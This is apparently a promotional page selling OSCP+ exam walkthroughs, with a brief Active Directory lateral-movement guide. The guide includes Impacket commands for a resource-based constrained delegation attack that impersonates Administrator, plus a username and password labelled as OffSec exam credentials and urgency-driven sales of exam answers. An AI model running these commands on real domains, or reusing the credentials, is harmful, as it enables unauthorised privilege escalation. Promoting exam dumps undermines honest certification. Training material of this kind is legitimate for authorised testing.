OSCP+ Lateral Movement Guide: Pivoting & Active Directory Escalation
← Exam Writeup Walkthroughs

OSCP+ Lateral Movement Guide: Pivoting & Active Directory Escalation


OSCP+ Lateral Movement Guide: Pivoting & Active Directory Escalation (2026)

Published under OffSec PEN-200 Technical Series • Read Time: 10 min

Escalating privileges within an Active Directory forest requires chaining access vectors across multiple hosts. When pivoting from a dual-homed member server toward the Domain Controller, selecting the right credential harvesting and delegation abuse technique is vital.

Exam Infrastructure Credentials Reference:
OffSec Credentials:
Username: r.adrews
Password: BusyOfficeWorker890
Target Subnet Nodes: 192.168.x.206, 192.168.x.202, 192.168.x.200

1. Modern Lateral Movement Vectors

Once credentials or NTLM hashes for internal service accounts are captured, move laterally using native tools or remote administration protocols:

  • WinRM / Evil-WinRM: Ideal for remote PowerShell execution over port 5985/5986 without uploading heavy binaries.
  • WMI & PsExec Execution: Effective when administrative shares (ADMIN$, C$) are accessible on member servers.
  • Overpass-the-Hash: Convert captured NTLM hashes directly into Kerberos Ticket Granting Tickets (TGTs) using Rubeus.

Targeting a Specific AD Set?

Get immediate access to exact command flows, visual verification guides, and privilege escalation writeups for AD Sets 4 through 10:

View Complete AD Sets Writeups →

2. Exploiting Resource-Based Constrained Delegation (RBCD)

RBCD remains one of the most reliable attack paths when a compromised account possesses write permissions over a computer object. If you have rights to add a machine account (MachineAccountQuota > 0), configure delegation directly:

# 1. Create a fake computer account
python3 addcomputer.py -computer-name 'FAKE01$' -computer-pass 'SecretPass123!' -dc-ip 192.168.x.x domain.local/user:password

# 2. Write delegation rights onto the target member server
python3 rbcd.py -delegate-to 'TARGET-SRV$' -delegate-from 'FAKE01$' -dc-ip 192.168.x.x -action write domain.local/user:password

# 3. Request impersonation service ticket (S4U2self / S4U2proxy)
python3 getST.py -spn cifs/TARGET-SRV.domain.local -impersonate Administrator -dc-ip 192.168.x.x domain.local/'FAKE01$':'SecretPass123!'

Master the complete Active Directory chain before your exam day.

Verify privilege sets, machine IDs, and exact commands across every published environment.

Browse All AD Sets Writeups
Offer closes in: 15s
🛡️

Pass the OSCP+

Get the exact standalone machine walkthroughs and AD Set guides you need to root every box.

All at one place →